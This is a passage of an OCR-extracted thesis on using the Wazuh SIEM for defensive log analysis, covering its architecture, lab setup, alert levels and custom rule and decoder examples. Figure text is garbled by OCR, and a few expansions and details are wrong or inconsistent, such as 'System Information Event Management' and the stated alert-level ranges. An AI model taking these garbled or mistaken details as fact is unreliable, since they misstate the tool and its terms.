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Abstract

In this thesis, we will research and measure the usability and efficiency of a platform called "Wazuh,"
which has a wide range of capabilities and features based on methods and services such as Network
Traffic Analysis (NTA) which is known for intercepting, recording, and analyzing network traffic
communication patterns to detect and respond to security threats by collecting the records of what is
happening in the network.

Wazuh is an Intrusion Prevention System (IPS) tool, and threat detection technology that examines
network traffic to detect and prevent vulnerabilities; lastly, the Security Operations Center (SOC) is
used here as a security management system that monitors hosts in real-time and analyses security

threats; it can be detected by generating alerts with many features to ensure security.

Wazuh can be used in most networks (companies, banks, hospitals, universities, factories, industries,
etc.), and the resources they manage must be constantly monitored and protected from attackers by

detecting malware activities.

In this dissertation, we will see some Systems will be exposed to various types of attacks to measure
Wazuh's efficiency in analyzing attacks and prevention methods in cybersecurity, for instance, in the
context of File Integrity Monitoring, Vulnerability Management, Metasploit attack, detecting

Log4shell, and Emotet malware detection.
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1 Introduction

The only way to protect the IT infrastructure from a threat is to know the threat targeting it. This is
critical for cybersecurity, and companies are attacked by hackers every day. Cyber attacks have become
harder to detect, so it is imperative to know the types of cyber-attacks that business faces. A smart way
to defend against cyberattacks is to understand that they come in many forms and can be used for a
wide range of purposes. It is imperative to remember that cyberattacks will look different every time.

Occasionally, hackers are motivated by financial motives, and sometimes they are motivated by
political motives. It could be that hackers are just ambitious people trying to see if they can accomplish
something. Many people want to do indirect harm to a company because they have some petty grievance
with that company [7]. Thus, detecting different types of network attacks becomes the biggest challenge
in network security, especially for attacks that have never occurred before.

We investigated how intrusion detection can be enhanced with Open-Source HIDS SECurity (OSSEC),
Host-based Intrusion Detection System (HIDS) that performs log analysis, integrity checking, Windows
registry monitoring, rootkit detection, time-based alerting, and active response based on rules and

decoders.

It is the application to install on the server or the computer infrastructure that we want to keep an eye
on what is happening inside by analyzing and utilizing big data (traffic and logs) of an organization,
which is not an easy task, and it becomes a big problem. Thus, Companies adopt a System Information

Event Management (SIEM) solution such as Wazuh to handle it.

In this dissertation, we will introduce Wazuh [9], an SIEM tool that represents one of the most powerful
tools for threat detection, prevention, and response to catch different kinds of attacks to keep our system

safe and protect our network.

We do this work by preparing a lab environment that we will see later, with many clients running a
variety of Operating Systems where the wazuh agent is installed, plus the server where we have installed
the Wazuh manager application. We will apply some attacks, showing how Wazuh is designed to
collect, store, index, and analyze security data from our clients, and then how it is using these data to

detect intrusions, attacks, Vulnerabilities, and malicious activities.



We can see the following figure as an example of a SIEM system process:

A Correlation Engine
matches events
against logs that meet
the criteria and
generate an alert if
the conditions are
met.

Incident responder

Events are generated rewviews alerts and

Log is forwarded to a
Log Collection Server.

decides whether to
launch an
investigation.

and written to a log
file.

Figure 1: Process demonstrating event generation to incident response.

Logs generated by various network sources are used in SIEM technology, as indicated above. With the
SIEM, aggregated and correlated events that the correlation engine has processed can be alerted to us

[38]; then, we investigate potential security events or threats in the organization's network.

Typically, a log records the events occurring on an organization's network or systems. Each log contains
details about specific events within a system or network of the company. Therefore, a great deal of

information about computer security can be found in these logs.

There are many sources of computer security logs, including security software, such as antivirus
software, firewalls, intrusion detection and prevention systems, operating systems on servers, and
applications [16]. An event occurs when a system, process, environment, or workflow changes its
normal behavior. In other words, an event occurs when something happens, for example, when a user

cannot access a network, log in/log off of users, download a malicious file, etc. [15].

So, in this dissertation, we will focus on how Wazuh will detect several attacks and how its features
could be used for this purpose. It is worth mentioning that the hardware requirements depend heavily
on the number of protected endpoints, and this number can be used to estimate how much data to analyze
and how many security alerts to store and index.



Cybersecurity is extremely complex; furthermore, dealing with network security requires the attacker's
knowledge. There are numerous subfields and specialized expert tools, and it is impossible to guarantee
that any system is 100% secure.

The motivation to write this thesis came from the fact that we can monitor many different systems to
check them for security issues and try to change or even add some rules that meet our requirements to
protect the network from different types of attacks and recover important data exposed by criminals,

such as financial details and sensitive personal information, etc.

Therefore, Host-based Intrusion Detection was the best option to meet security policies and protect the
network and data from breaches and intrusions. This study is useful for companies that are interested in
monitoring every single activity on a host and taking appropriate actions.



2 Theoretical Background

In this project, OSSEC stands for Open Source HIDS Security, which is important because it offers
open security standards and because it is [8][9]:

* Widely Used: There are many different entities using OSSEC as their main HIDS solution, including
ISPs, universities, and governments. Additionally, it is widely used as a log analysis tool, monitoring,
and analyzing logs from firewalls, intrusion detection systems (IDSs), and web servers.

* Scalable: Due to OSSEC's HIDS capabilities and agent-based approach. Agents can be installed on
the monitored hosts, or they can be agentless monitored [10][11]. OSSEC manager initiates agentless
that gather information from remote systems (routers, firewall, etc..) using any Remote Procedure Call
(RPC) method (e.g., SSH, SNMP, RDP, WMI), which are software communication protocols that
enable one program to request a service from another program located on another device on a network
without requiring in-depth knowledge of the network's details [19].

» Multi-platform: Windows, Mac OS, and GNU/Linux. Due to the fact that most professional services
are developed using GNU/Linux or Windows, this is an important factor. Regardless, it is important to
remember that some rules are only compatible with certain versions of the operating system.

» Open source: There is no cost to read, contribute, or debug the code.

In addition, OSSEC has some great capabilities, like Rootkits detection, a type of malware that alters
the behavior of a computer by replacing or changing operating system components. It is not difficult
for rootkits to hide themselves, as well as files, networks, or entire processes, and one more ability

like File integrity monitoring, which helps to detect access or changes to sensitive data.

There are many alternatives to OSSEC for the scenario of a system administrator that wants to improve

the security of the systems he is responsible for. There are free and paid solutions.



Wazuh is an OSSEC fork. It features a RESTful API, a more up-to-date ruleset, and is simpler to set
up. We will utilize OSSEC through Wazuh to code rules and decoders without having to update any of
the program's code. Wazuh is a high-level intrusion detection system (HIDS) that was utilized in this
research to detect and, in certain situations, respond to suspicious threats [12].

As we have seen before, we will use this tool to get data from sources, from log files, and aggregate it,

analyze it, and present it to the security engineer, which might be related to a vulnerability or an attack.

The main goal is understanding that something is going on in this system, which might be a malicious
or suspicious activity that attackers could potentially exploit.

A log message typically consists of these three components:

o Timestamp

« Source

o Data
The timestamp is critical to know WHEN an incident occurred and is an internationally accepted way
to represent dates and times. The source is usually an IP address or hostname, indicating the system that
generated the log message, which could be Applications, Databases, Firewalls, Servers, and web
servers. Finally, the data field displays WHAT happened in the system.

» Sep 1313:07:01 myserver Fakeinc: Accepted password for user Anas, IP: 10.20.31.128

In the log example above, it appears the time which is on Sept 13 at 13:07:01, the source IP address,
which is “10.20.31.128” and the event information (Data) like “Accepted password for user Anas”.

Thus, we will see how Wazuh monitors security and identify a vulnerability in the client.

We would like to draw attention to some of the features that Wazuh basically offers, including Security
Analytics, Intrusion Detection, Log Data Analysis, File Integrity Monitoring, Vulnerability Detection,
Rootkit Detection, and Cloud Security.



It is important to know the components that Wazuh is consisted of:

1- Wazuh AGENT: It is a cross-platform endpoint security agent or program that is installed on
the device or host we would like to monitor and protect; for example, if we want to secure our
company network, each computer on the network must have a Wazuh agent installed so these
devices can communicate with the Wazuh server.

2- Wazuh SERVER: Analyzes the data received from the Wazuh agents, processes this data, and
matches it against rule-sets to identify Indicators Of Compromise (I0Cs), so, for example, if
we install an agent on a Windows system and we configure it to connect to our Wazuh server,
we can just have that agent running on the system, and if we make any changes like creating a
new user or just do anything that requires to be an administrative privilege, that information
would be logged as security event on Wazuh, and we will be able to see what is going on, and
that is very important for medium to large organizations and companies having thousands of
computers would like to know what is going on with these computers and identify attacks or
intrusions that can be happened.

3- ELASTIC STACK: Also known as the ELK stack, displays and indexes the alerts generated
by the Wazuh server and provides users with robust data visualization and analysis
functionality; it is essentially the combination of three open-source projects (W.indexer,
logstash, and W.dashboard), so Wazuh is built on top of Elastic Stack to facilitate the actual
analytics engine, so the W.indexer handles the analytics, logstash handles the actual data
processing pipeline, essentially gets data from multiple sources simultaneously, and

W.dashboard visualizes this data.

As previously stated, Wazuh can monitor some network devices, such as routers, that cannot run the
Wazuh agent by transmitting their logs and automating the process of synchronizing these logs with the
actual Wazuh server for analysis. It is possible to accomplish this using any Remote Procedure Call
(RPC) method, such as (SSH, SNMP, etc.).

To connect the Wazuh manager to the device via SSH authentication, we need to use a script called
Register_host.sh, which is located in the Wazuh manager (server) and has two options (list and add).
With the list option, we can see all hosts already included. On the other hand, the add option is when
we specify a new device to be connected to the manager [3]. After devices have been added to the list,

the manager must be configured to monitor them.



2.2 How does Wazuh works: (Wazuh Structure)

Endpoint security agent

s W. agent

f Agent modules Agent daemon S
: Active response Data encryption o—0—
! Command execution Modules management

E rt::‘an'gL”atiDrl assessment Remote Configuration

: Container security Server authentication .
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: Malware detection J control
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Figure 2: Wazuh Endpoint Security Agent Structure
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Figure 3: Wazuh Central Components Structure

As we can see in (figure 2), we have the Wazuh agent, this is what we have installed on the devices we

would like to monitor, and the Wazuh agent consist of various modules and the actual daemon that it is

responsible of data encryption, modules management, remote configuration and server authentication,

where the agent modules are the active response, command execution, configuration assessment,

containers security, cloud security, file integrity monitoring, log collector, malware detection and

system inventory.

All of the previous modules are used to get all the relevant information back into the Wazuh server over

port 1514 (UDP or TCP) for analysis [21], the configuration assessment module allows us to essentially

run a configuration check to identify witnesses or vulnerabilities that could potentially be exploited by

attackers.



The case of log collection is very useful because logs are telling us what is going on the OS where the
Wazuh agent is installed, furthermore, it is important to know that Wazuh does not display all of these
logs; only these logs match against a ruleset, or if they are found to be malicious or indicators for
compromised, then this information will be displayed.

As we can notice on the Wazuh server (figure 3), the actual connection from the Wazuh agent comes
into the Agents connection services, which goes to the Analysis engine for Decoding and rule matching

and correlation and enrichment, and that can be used for Threat Intelligence and Vulnerability detection.

Then, we have the actual agents registration service, which is only used while setting up the agent, and
we can see the Raw data events and security alerts, and this goes to W. indexer, which provides us the
Search engine, Data analytics, and the Long-term storage, Security Alerts, Inventory data, etc.
Availability and scalability are both provided by the Wazuh indexer as well, which can operate as a

single or multi-node cluster.

We have the W. dashboard as well, which provides us with a Web user interface, and Query language,

and we can create Visualization and dashboards.

The Wazuh indexer cluster consists of a collection of one or more nodes that communicate with each
other for the purpose of reading and writing to indices. One-node clusters can easily handle small Wazuh
deployments that do not require a lot of data processing as we have done in our Lab. Clusters with
multiple nodes are recommended for monitoring many endpoints, handling large volumes of data, and
ensuring high availability as it is implemented in the company where we will see some real-life

experiences.

It is recommended that the Wazuh server and indexer be deployed on separate hosts for production
environments. Filebeat secures the transmission of Wazuh alerts and archived events using TLS

encryption to the Wazuh indexer cluster (single node or multinode).

An example of a Wazuh deployment architecture can be seen in the diagram next page. As a result, load
balancing and high availability are achieved by configuring the Wazuh server and the Wazuh indexer

nodes as clusters.
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Figure 4: Wazuh Deployment architecture (Central Components)
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Wazuh agent - Wazuh server communication

Events are continuously sent to the Wazuh server for analysis and threat detection by the Wazuh agent.
This data is transmitted by the agent through the server connection service, which listens on port 1514
by default, as we have mentioned before (this can be changed). As soon as the events are received, the
Wazuh server decodes and then rules-checks them using its analysis engine. Alert data such as the rule
ID and rule name are augmented with events that trip a rule.

The following files can be used to spool events depending on whether a rule has been triggered or not.

e The file /var/ossec/logs/archives/archives.json contains all events, whether they tripped a rule
or not.

e The file /var/ossec/logs/alerts/alerts.json contains only events that tripped a rule.

In Wazuh messages, AES encryption is enabled as default, with a block size of 128 bits and a key size

of 256 bits. There is an option to encrypt with blowfish as well.
Wazuh server - Wazuh indexer communication

In Wazuh, Filebeat is used to send alert and event data encrypted by TLS to the Wazuh indexer. Data
from the Wazuh server is read by Filebeat and sent to the Wazuh indexer (which listens on port
9200/TCP by default). The Wazuh dashboard is used to mine and visualize the data once the Wazuh

indexer has indexed it.

The Wazuh dashboard displays information related to the Wazuh server and agents via the Wazuh
RESTful API (listening by default on port 55000/TCP). It is possible to modify the configuration of

agents or servers through API calls.

On the other hand, as we have mentioned before, the Wazuh central components can be deployed on a
single server for smaller Wazuh deployments, as it is in our LAB where we are doing the experiments
[21].

~——  Wazuh server ~— Monitored endpoint —

Filebeat Wazuh agent
Wazuh API Elasticsearch

[ERE]

Wazuh App

Figure 6: A single server for smaller Wazuh deployments
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In the following, we will be able to see our Lab's environment:

10.20.255.173 10.20.255.71 10.20.255.207

10.20.255.132

10.20.13.199

Switch

Windows 10 PC
10.20.255.205

Wazuh Server

Figure 7: Lab Environment

By following the Wazuh documentation [64], we have installed the Wazuh server and ELK stack on
the VM on a server located in the university having the IP address 10.20.13.199. After that, we will be

able to access the actual Wazuh interface directly using any machine on the same network.

We have implemented our Lab with a laptop which has windows 10 OS, Rasbhan OS on Raspberry,
Windows 8.1 VM, Kali Linux VM, which will be our attacker system where we will do different types
of attacks, and finally, we will have a DC:1 VM, which is a distribution of Debian 32 bit as our

vulnerable system.

Almost all these machines have a Wazuh agent running in their system, which means that in all these
systems, the Wazuh agent will send all the information back to the Wazuh server, where we can actually
get an idea of what is going on in these Operating systems.
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Log analysis is performed within Wazuh by the processes OSSEC-logcollector (on the client side) and
analyzed (on the server side). In the official Wazuh documentation and literature, the client is called the
agent, and the server is called the Wazuh manager. The diagram below shows how the individual Wazuh
processes work together on the agent and the manager.

wWazun server

Monitored host
@ Wazuh manager

Monitored .
a’ Wazuhagent : Analysisd
. o [Barchives json

' Pre-decoding
Agentd T O + Remoted
Windows < :

. .
event log . - Decoding

. : ——a [§ alertsjson
Moni L
L& Logcollector f;f:"m : Logeollector —! Rule matching
macoS :

ULSlogs

Figure 8: Log Data Collection

The OSSEC logcollector on the agent is used for collecting and aggregating the logs. In contrast, the
remoted process on the Wazuh manager is used for receiving and forwarding the log events to the
analysis process on the Wazuh manager. During the analysis process, events are decoded, filtered, and
classified according to their criticality. The transport and analysis of log events are done in real-time,

meaning that as soon as a log event is written, it is transported and processed by Wazuh.

Alert Assessment:

Applying Human Intelligence to Evaluate Wazuh Alerts in most environments, Wazuh generates many
alerts, most of which are not actionable. We can extract actionable intelligence from the huge pile of
Wazuh alerts from the level of the alert, the description (log message), and grouping information (rule
group) are usually effective indicators of a compromise. If the attack is a failed login attempt, we should
verify that the user being used really exists on the system. Wazuh tells us this by describing the warning
"Attempting to log in with a non-existent username™. Usually, attackers try to use known usernames

such as "root" and "admin".
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This part will discuss rules and decoders, which are critical tools in identifying a cyberattack and taking
appropriate action to prevent it. Depending on the environment of our clients or companies, we can

design and create rules and decoders that are customized to their needs.

Wazuh
database

Analysis Alerts
Daemon

{ Events |—

Figure 9: Communication and data flow [21]

After the manager receives incoming events, they are decoded first. The pre-decoding process is an
extremely simple process that uses well-known fields to extract static information. It enables the

creation of rules easier by removing data that is not static through decoding.

! !
;‘K Event / Pre-
J ] / decading
P
¥
Decoding
¥
Rule
Maiching
T
Alarting
\\.
s — N x;-‘ ™
| DB Storage ) [ Email | I:H:'fmm.
.. >y b ,/ nESHenss S

Figure 10: Event Flow Diagram [23]

An alert is generated if the rule conditions are met, and at least one rule in the hierarchy is related to the

decoder of the event.
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2.4.1 The Wazuh Ruleset

The Wazuh ruleset consists of many predefined rules and decoders. Wazuh rules are the key component
for configuring and tuning all alarms generated by Wazuh. This includes alarms generated for integrity
checking and alarms sent via standard Syslog or rootkit detection.

Rules that are included in Wazuh can be found in /var/ossec/ruleset/rules/, and their decoders can be
found in /var/ossec/ruleset/decoders/. No updates or changes should be made to the previous
directories. The locations of custom rules and decoders are /var/ossec/etc/rules/ and

Ivar/ossec/etc/decoders/, respectively.

A Wazuh ruleset can only be accessed by the Wazuh manager, and as it is responsible for decoding and
analyzing events and for user-created rules, Wazuh has defined a range of Rule IDs (100,000 to
119,999); our custom rule I1Ds will be limited to this range in order to avoid conflicts with existing
Wazuh rules. Wazuh differentiates between ""atomic' and ""‘composite’ rules. It is a set of simple rules

that are applied to one event at a time without any correlation.

A simple example of such a rule would be log messages indicating "authentication failures” or alarms
about individual events. On the other hand, composite rules look for repeated matches of atomic rules
within a specific time frame. Composite rules are easily recognized using the keywords "frequency"

and "time frame".

Here is an example of three related rules, two of which are atomic and the last of which is composite:

f<rule id="5700" level="0" noalert="1"> \
<decoded_as>sshd</decoded_as>

<description>SSHD messages grouped.</description>

</rule>

- J

Rule id = "5700"

/<rule id="5718" level="5"> \

<if_sid>5700</if_sid>

<match>not allowed because</match>
<description>sshd: Attempt to login using a denied user.</description>

<group>invalid_login,pci_dss_10.2.4,pci_dss_10.2.5,gpg13_7.1,</group>

\</rule> /

Rule id = "5718"
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ﬁrule id="5719" level="10" frequency="6" timeframe="120" ignore="60"> \
<if_matched_sid>5718</if matched_sid>

<description>Multiple access attempts using a denied user.</description>
<group>invalid_login,pci_dss_10.2.4,pci_dss_10.2.5,pci_dss_11.4,</group>

</rule>

)

Rule id = "5719"

Every Wazuh rule definition, as shown in the examples provided above, begins with a unique rule ID
(5700/5718/5719), followed by the severity level. There are "15" warning levels, with "0" as the lowest

possible warning level and ignored and 15 as the highest.

In all events where the sshd decoder has been used, rule "5700" applies. As a parent rule, it does not
generate warnings by itself; however, other rules referencing it with "<if sid>5700</if _sid>" are
checked for more specific matches. The "5718" rule is an example of this, and it looks for SSH messages
that contain a specific substring that indicates the user was rejected based on a <match> criteria.

It is worth mentioning that SSH is a network protocol to use services or execute commands securely
over a network.

As shown above, the composite rule "5719" looks for six matches of rule "5718" within a 120-second
time window. Instead of triggering an alert for rule "5718", rule "5719" will be triggered instead on the
6th match.
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2.4.1.1 Alert-Levels in Wazuh Rules

Each rule is classified according to its level, from lowest (0) to highest (16). Some levels are not being

used at the moment [68]. Each of these is described in the following table, which can be useful for

understanding the severity of triggered alerts or creating custom rules.

Description Example
Level O Ignored, no action taken Used to avoid false positives, no security relevance
] here
(There is never a level 0 alert)

Level 2 System low priority notification Status messages that have no security relevance

Level 3 Successful/authorized events Successful login attempts, firewall allow events

Level 5 User-generated error Missed passwords, denied actions

Level 6 Low relevance attacks A worm or virus that provide no threat to the
system (e.g. Windows worm on a Linux machine)

Level 9 Error from invalid source Attempts to login as an unknown user or from an
invalid source

Level 10 Multiple user generated errors Multiple bad passwords, multiple failed logins

Level 11 Integrity checking warning Messages regarding modification of binaries or the
presence of rootkits (by rootcheck). They may
indicate a successful attack.

Level 12 High-importance event Error or warning messages from system or kernel.

Level 13 Unusual error (high importance) Common attack patterns e.g buffer overflow
attempt

Level 14 High-importance security event Result of correlation of multiple attack rules

Level 15 Severe Attack successful Very small chance of a false positive, immediate
attention!!

Table 1: Alert-Levels in Wazuh Rules
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2.4.1.2 Wazuh Rule Groups

There is also the option of specifying groups for specific rules in Wazuh. Active response and

correlation are particularly useful for this.

Currently, there are the following defined groups:

invalid_login

authentication_success

authentication_failed

connection_attempt

attack

syscheck
sshd

firewall

apache

Syslog

We can also use Kibana to filter for specific events within these groups and help us find specific

correlated events more quickly! For example, if we want to only display the syscheck, we will select

the syscheck group.

The syscheck system of Wazuh manages file integrity monitoring (FIM) and registry change monitoring
(RCM).
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Figure 11: Use Kibana to filter for specific events — Syscheck group
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rule.level

5

rule.id

rule.groups

ossec, syscheck, syscheck_entry_modi
fied, syscheck_registry

ossec, syscheck, syscheck_entry_modi
fied, syscheck_registry

ossec, syscheck, syscheck_entry_modi
fied, syscheck_registry

ossec, syscheck, syscheck_entry_modi
fied, syscheck_registry



2.4.1.3 Writing Custom Rules

e In some cases, custom rules are necessary because the existing Wazuh rules are not matching the

logs generated by our custom applications, or we have to modify an existing rule to more closely

match our requirements.

e The following options are available in Wazuh for atomic rules [20]:

Description

Match Any pattern Any string to match against the event (log)

Regex Any regular expression Any regular expression to match against the
event (log)

decoded_as Any string Name of decoder that was used

Srcip Any source IP address Any IP address that is decoded as the source
IP address

Dstip Any destination IP address Any IP address that is decoded as the dst. IP
address

User Any username Any username that is decoded as a username

program_name

Any program name

Any program name that is decoded from the
syslog process name

hostname Any system hostname Any hostname that is decoded as a syslog
hostname

Time Any time range The time range that the event must fall within
for the rule to alert

weekday Any weekday Day of the week that the event must fall on

for the rule to alert

Table 2: Atonic rules in Wazuh
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There are also options for composite rules, the most important ones are listed below:

Description
same_source_ip Specifies that the source IP address must be the same.
same_dest_ip Specifies that the destination IP address must be the same.
same_src_port Specifies that the source port must be the same.
same_dst_port Specifies that the destination port must be the same.
same_location Specifies that the location (hostname or agent name) must be the same.
same_user Specifies that the decoded username must be the same.
same_id Specifies that the decoded id must be the same.

Table 3: Composite rules in Wazuh

These rule options, whether for atomic or composite rules, are extremely useful when fine-tuning
rules. If, for example, our rule is set to trigger only during off-hours when all staff leaves the building,
we still want to be notified if there is a problem with a critical server or service. The issue would have
a significant impact if it were ignored for this critical service. The above options can be used to create

specific alerts based on the hostnames or program names of specific servers or services.

An example of a rule could look like this:

<rule id="100102" level="0">
<decoded_as> fakeinc_custom </decoded_as>
<description> Parent rule for Fakeinc custom </description>

</rule>

Rule id = "100102"

It is evident from this basic example that every rule begins with its unique ID, the purpose of which is
to avoid conflict with other IDs. We can see that this rule uses a rule ID in the custom rule range of
"100,000" to "119,000". This rule will never generate an alert because the alert level has been set to
HOH.
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Next chapter, we will show what a decoder is and how it works; anyway, by using the <decoded_as>
tags, we tell Wazuh to use a certain decoder.

In order to better understand what this rule does, it is extremely helpful to include meaningful
descriptions for the rule, especially when adding new rules to Wazuh, so that others can also understand
it. It is often intended that a parent rule will do nothing other than guide the checking of more specific

child rules.

When no decoder matches an event, the "catchall" rule "1002" will simply check it for a list of generally
suspicious words or phrases, even if it has no parent rule or decoder specified, as we can see in the

following example:

f<rule id="1002" level="2"> \

<match>$BAD_WORDS</match>
<options>alert_by email</options>
<description>Unknown problem somewhere in the system </description>

C/rule> /

Rule id = "1002"

We have taken the rule above from syslog_rules.xml, and it used the <match> tag, which is
BAD_WORDS which is just an array of common words that is specified at the beginning of the rule.
Bad words matching. Any log containing these messages will be triggered [22].

<var>name="BAD_WORDS">core_dumped|failure|error|attack|bad|illegal
|denied|refused|unauthorized|fatal|failed|Segmentation Fault|Corrupted</var>

It is important to note that if any of those words match and no specific decoder is specified, rule 1002

will always be applied.
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2.4.2 The Wazuh Decoders
2.4.2.1 What are decoders, and what they do

Various kinds of events are decoded to extract relevant information and prepare them for subsequent

analysis. The decoding process consists of two phases -- pre-decoding and decoding.

1- A pre-decoding strategy typically uses well-known fields, such as those found in syslog
record headers, to extract static information. All syslog messages usually contain the
timestamp, hostname, and program name [24].

2- The decoding phase usually involves the extraction of more dynamic information from an

event, such as the source IP address, username, URL, etc.

After decoding an event, Wazuh can determine whether an alert should be created based on its ruleset.

There are many options to configure decoders, such as the following [25]:

Description

Parent Any pattern Referencing a parent decoder

program_name Any program name A program name that is pre-
decoded from the syslog process
name.

prematch Any string or RegEx Static information such as

timestamp, date, hostname

Regex Any RegEx A RegEx that extracts one or more
fields from the event.

Order Comma separated list of field For assigning names to fields
names extracted by the regex. Can be
either predefined or dynamic field
names.
Fts Field name Specify here which field should be

tracked for first-time seen events.

Table 4: Decoders Syntax
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Predefined field names are one of the legacies OSSEC static field names [25]:

- location - where the log came from (only on FTS)

- srcuser  —>extracts the source username

- dstuser - extracts the destination (target) username
- user - an alias to dstuser (only one of the two can be used)
- srcip -> source ip

- dstip - dstip

- srcport - source port

- dstport = destination port

- protocol - protocol

-id - eventid

- url - of the event

- action - event action (deny, drop, accept, etc)

- status -> event status (success, failure, etc)

- extra_data - Any extra data

Regular expressions are often used when extracting information from fields. We can match and/or

extract information from events with the following Regular Expression operators in Wazuh [29]:

\w =2 A-Z, a-z, 0-9, -, '@' characters

\d - 0-9 characters

\s > Forspaces""

\t -> Fortabs.

\p > (*+,-5<=>?["#$%&|{} (punctuation characters)
\W - For anything not \w

\D - For anything not \d

\S - For anything ,not \s

\\. > For anything

Other useful modifiers would be:

+

- To match one or more times (eg \w+ or \d+)
- To match zero or more times (eg \w* or \p*)

*

>

- To specify the beginning of the text.
- To specify the end of the text.
- To create an "OR" between multiple patterns.

— &
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2.4.2.2 How it works

Using examples such as the following will make it easier to understand a decoder's inner workings
[25][26]; with Wazuh-Logtest, the session handling is completely hidden from the user and backward
compatible with Ossec-Logtest. Upon sending the first processing request, an initial session is created
that will be used throughout the whole tool's operation.

Now we will run the tool ""/var/ossec/bin/wazuh-logtest" on the Wazuh Server and see the output:

St g wazuh-logtest v
Type one log per line

fpr 14 1 21

**Phase 1: Completed pre-decoding
full event:
timestamp: ‘Apr 14 1
hostname: ‘gorilla’
program_name: ‘sshd’

2: Completed decoding.
name: ‘sshd’

‘['Au.14°, *AC.7']"
©.2.5°]"

Figure 11: The output of Wazuh-logtest
A full log of an event is shown at the beginning of the example. First, a pre-decoding phase is applied
to the log so that general information can be extracted. Following that, the decoder will begin reading
the remaining log. In our example, the decoder only analyses: "Connection closed by 192.168.1.33".

The Wazuh-Logtest tool is very useful to run when we need to design any new rules or decoders.

2.4.3 Lab Exercise — Ruleset and Decoders
The exercise will see now be taken from the documents of Wazuh training with counting on the Wazuh
documentation [27][28]. Initially, we will write a custom decoder that extracts the username and source

IP Address for this log message:
» Jun 10 17:07:01 myserver Fakeinc: Accepted password for user Anas, IP: 10.20.31.128

We will log into the Kibana interface in the lab environment and go into the Wazuh / Management /

Decoders section, then Manage decoders files and click on Custom Decoders local_decoder.xml.
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~ <decoder name="fakeinc_custom">»
<program_name>Fakeinc</program_nams>
</decoder>

fi)
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~ <decoder name="fakeinc_ custom message”>»
<parent>fakeinc_custom</parent>
<prematch> password for user </prematch>
<regex>"\w+ password for user (‘w+), IP: (\S+)</regex>
<orderruser, srcip</order:»
</decoder>
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Figure 12: Custom a decoder in Wazuh/Management/decoders

By looking at its unique name, we can see that the newly created parent decoder is named
"fakeinc_custom". There is a parent and child decoder called "fakeinc_custom_message". The child

decoder matches any event with a pre-decoded "Fakeinc™ program name.

The child decoder attempts to extract user and scrip fields from those Fakeinc logs that contain the
phrase "password for user" by using the <regex> tag. And now it is the time to test our new decoder
with the ossec-logtest binary:

d password for user Anas, IP: 18.

rver Fakeinc: Accepted password for user Anas, I

mp: ‘Jun

**Phase 2

Figure 13: Test a new decoder

From (figure 13), it appears that our new decoder is working as expected. As seen in Phase 2: completed
decoding, we have successfully extracted the IP address of the user "Anas" and the source IP address
"10.20.31.128".
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And now it is the time to assign the appropriate alerts and levels to the following log messages using
custom rules [27]:

Jun 10 17:07:01 myserver Fakeinc: Accepted password for user Anas, IP: 1.2.3.4
Jun 10 17:07:01 myserver Fakeinc: Failed password for user test, IP: 1.2.3.4

Jun 10 17:07:01 myserver Fakeinc: Application is shutting down: Internal error
Jun 10 17:07:01 myserver Fakeinc: DEBUG: Received OK.

YV V V V

Almost the same way as we did before with costuming a new decoder, we go to
Wazuh/Management/Rules section, then Manage Rules files and click on custom rules, then on edit
local_rules.xml. Since there are 4 log messages that very much resemble each other, we would like to
focus only on identifying the parts that differ. To accomplish this, we create a "parent rule" that will

fire when no other "child rule" is triggered.

( <rule id="100102" level="0"> \

<decoded_as>fakeinc_custom</decoded_as>

<description>Parent rule for Fakeinc custom</description>

</rule>

N /

rule id ="100102"

As we can see previously, the rule ID is set to "100102", which is in the rule-ID range, as well as the
level of alerts is "0" because we do not want to see any alerts when this rule is triggered; instead, we
want to see the child rules being triggered. As we notice, the decoder we are using is the one we have

created previously, "fakeinc_custom". With Wazuh's knowledge, the right field can now be extracted.

Finally, we will have a description of the rule. If someone plans to submit his/her rule to Wazuh_HIDS,
the description should be as clear as possible to let other people understand what the rule means.

Now, let us add the following child rules to local_rules.xml:

ﬂrule id="100103" level="7"> \

<if_sid>100102</if_sid>

<match>Failed</match>
<description>Fakeinc Custom: Failed password</description>

<group>authentication_failed</group>

\</rule> /

rule id = "100103"
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As we can notice how the rule ID is identical and sequential to our parent rule ID, and the alert level
here is equal to "7" due to the greater significance of this event "Failed password", <if_sid> is the tag
to tell Wazuh that this child rule belongs to its parent which has a rule ID "100102".

In the next tag <match>, we specify which part of the log message should trigger the alert. As we can
see, the <description> tag is again for the same purpose we mentioned before. Other Fakeinc message

types are also matched by these rules.

/<rule id="100104" level="3"> \

<if_sid>100102</if_sid>
<match>Accepted</match>
<description>Fakeinc Custom: Accepted password</description>

</rule>

- /

rule id = "100104"

crule id="100105" level="10"> \

<if_sid>100102</if_sid>

<match>Internal error</match>

<description>Fakeinc Custom: Internal error</description>

\</rule> j

rule id = "100105"

As a final step, we will develop a composite rule that triggers after multiple failed password attempts.
As our parent rule, we once again use atomic rule "100103" since it already matches the failed password
attempt. In addition to increasing the alert level, we want to trigger the warning after five attempts
within a period of five minutes. To refer to our new parent rule we have created before, we use the tag
<if_matched_sid>, and the tag <same_source_ip /> restricts requests coming from the same IP address
only.
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K<ru|e id="100106" level="10" frequency="5" timeframe="600"> \
<if_matched_sid>100103</if_matched_sid>

<same_source_ip />

<description>Fakeinc Custom: Multiple Failed passwords</description>

<group>authentication_failures</group>

\</rule> J

Rule id = "100106"

Finally, we look forward to seeing if our new defined rules are effective; by calling the
Ivar/ossec/bin/ossec-logtest binary by inserting our log messages (four log messages in our case), the

first log message will be:

» Jun 21 23:07:01 myserver Fakeinc: Accepted password for user Asswad, IP: 10.20.255.212

We can notify if the newly executed rule can give an alert as a response to the information we have
given.

c/bin/wazuh-logtest

Jun 21

pted password®

]

**plert to be generated.

Figure 14: Test the log message 1
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Our second Log message will be:

» Jul 314:30:23 myserver Fakeinc: Failed password for user Asswad, IP: 10.20.255.212

Figure 15: Test the log message 2

The third Log message will be the following:

» Jul 314:34:21 myserver Fakeinc: Application is shutting down: Internal error

Figure 16: Test the log message 3
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The fourth log message and the last one is:

» Aug 10 21:53:43 myserver Fakeinc: DEBUG: Received OK.

Figure 17: Test the log message 4

We can see from the last figure that there is no alert has been generated; therefore, it is proof that for

parent rules with an alert of level “0” fired, no alert will be generated. In other words, Alert level zero

will not generate any alerts.

OSSEC-logtest is an extremely useful tool for writing new rules and decoders since it illuminates error

messages when they occur, as it could have been executed on the Wazuh GUI as well.
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In the Wazuh File Integrity Monitoring (FIM) system, selected files are monitored, and alerts are
triggered when these files are modified. This task is handled by a component called syscheck. In this
component, cryptographic checksums are stored, along with other attributes of files or Windows
registry keys, and regular comparisons are performed between them, and the current files used by the
system, looking for changes [39].

